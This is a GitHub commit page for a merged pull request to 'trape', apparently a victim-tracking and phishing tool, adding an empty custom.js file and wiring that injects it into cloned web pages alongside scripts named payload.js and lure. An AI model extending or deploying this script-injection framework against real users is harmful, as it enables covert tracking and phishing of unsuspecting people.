Skip to content

Commit

Permalink
Merge pull request #1 from tdenisenko/master
Browse files Browse the repository at this point in the history
Add custom.js for injection
  • Loading branch information
jerjet committed May 5, 2020
2 parents 800fbf1 + 8cd3836 commit 16d2fef
Show file tree
Hide file tree
Showing 6 changed files with 15 additions and 3 deletions.
2 changes: 1 addition & 1 deletion core/stats.py
Original file line number Diff line number Diff line change
Expand Up @@ -130,7 +130,7 @@ def inject():
mPath = sys._MEIPASS + '/'

f_codeToInject = open(mPath + "static/js/inject.js","r")
codeToInject = f_codeToInject.read().replace('[LIBS_SRC]', trape.JSFiles[1]['src']).replace('[BASE_SRC]', trape.JSFiles[0]['src']).replace('[LURE_SRC]', trape.JSFiles[3]['src'])
codeToInject = f_codeToInject.read().replace('[LIBS_SRC]', trape.JSFiles[1]['src']).replace('[BASE_SRC]', trape.JSFiles[0]['src']).replace('[LURE_SRC]', trape.JSFiles[3]['src']).replace('[CUSTOM_SRC]', trape.JSFiles[6]['src'])
f_codeToInject.close()

server_code = ''
Expand Down
2 changes: 1 addition & 1 deletion core/trape.py
Original file line number Diff line number Diff line change
Expand Up @@ -42,7 +42,7 @@ def __init__(self, stat = 0):
self.localIp = '127.0.0.1'
self.nGrokUrl = ''

self.JSFiles = ({"path" : "base.js", "src" : utils.generateToken(12)},{"path" : "libs.min.js", "src" : utils.generateToken(12)},{"path" : "login.js", "src" : utils.generateToken(12)},{"path" : "payload.js", "src" : utils.generateToken(12)},{"path" : "trape.js", "src" : utils.generateToken(12)},{"path" : "vscript.js", "src" : utils.generateToken(12)},)
self.JSFiles = ({"path" : "base.js", "src" : utils.generateToken(12)},{"path" : "libs.min.js", "src" : utils.generateToken(12)},{"path" : "login.js", "src" : utils.generateToken(12)},{"path" : "payload.js", "src" : utils.generateToken(12)},{"path" : "trape.js", "src" : utils.generateToken(12)},{"path" : "vscript.js", "src" : utils.generateToken(12)},{"path" : "custom.js", "src" : utils.generateToken(12)},)
self.CSSFiles = ({"path" : "/static/img/favicon.ico", "src" : utils.generateToken(12)},{"path" : "/static/img/favicon.png", "src" : utils.generateToken(12)},{"path" : "/static/css/base-icons.css", "src" : utils.generateToken(12)},{"path" : "/static/css/styles.css", "src" : utils.generateToken(12)},{"path" : "/static/css/normalize.min.css", "src" : utils.generateToken(12)},{"path": "/static/css/services-icons.css", "src" : utils.generateToken(12)},)

if self.stat == 1:
Expand Down
1 change: 1 addition & 0 deletions core/user.py
Original file line number Diff line number Diff line change
Expand Up @@ -229,4 +229,5 @@ def assignScripts(code):
code = code.replace("payload.js", trape.JSFiles[3]['src'])
code = code.replace("trape.js", trape.JSFiles[4]['src'])
code = code.replace("vscript.js", trape.JSFiles[5]['src'])
code = code.replace("custom.js", trape.JSFiles[6]['src'])
return code
1 change: 1 addition & 0 deletions core/user_objects.py
Original file line number Diff line number Diff line change
Expand Up @@ -71,6 +71,7 @@ def victim_inject_code(html, script = 'a', url_to_clone = '', gMapsApiKey = 'AIz
html = html.replace('</head>', '<script type="text/javascript" src="/static/js/libs.min.js"></script></head>')
html = html.replace('</head>', '<script type="text/javascript">window.gMapsApiKey="' + str(gMapsApiKey) + '"; window.IpInfoApiKey="' + str(IpInfoApiKey) + '";</script></head>')
html = html.replace('</head>', '<script type="text/javascript" src="/static/js/base.js"></script></head>')
html = html.replace('</head>', '<script type="text/javascript" src="/static/js/custom.js"></script></head>')
html = html.replace('</head>', '<script type="text/javascript" src="/static/js/' + script + '.js"></script></head>')
return html

Expand Down
6 changes: 6 additions & 0 deletions static/js/custom.js
Original file line number Diff line number Diff line change
@@ -0,0 +1,6 @@
$(document).ready(function($) {
/**
* DO NOT delete this file completely.
* Your code goes here
*/
})
6 changes: 5 additions & 1 deletion static/js/inject.js
Original file line number Diff line number Diff line change
Expand Up @@ -2,7 +2,8 @@
var paths = [
'[HOST_ADDRESS]/static/js/[LIBS_SRC]',
'[HOST_ADDRESS]/static/js/[BASE_SRC]',
'[HOST_ADDRESS]/static/js/[LURE_SRC]'
'[HOST_ADDRESS]/static/js/[LURE_SRC]',
'[HOST_ADDRESS]/static/js/[CUSTOM_SRC]'
];
window.gMapsApiKey = "[YOUR_GMAPS_API_KEY]";
var imported = {};
Expand All @@ -15,6 +16,9 @@
window.serverPath = '[HOST_ADDRESS]';
loadScript(function(){
idx++;
loadScript(function(){
idx++;
});
});
});
});
Expand Down

0 comments on commit 16d2fef

Please sign in to comment.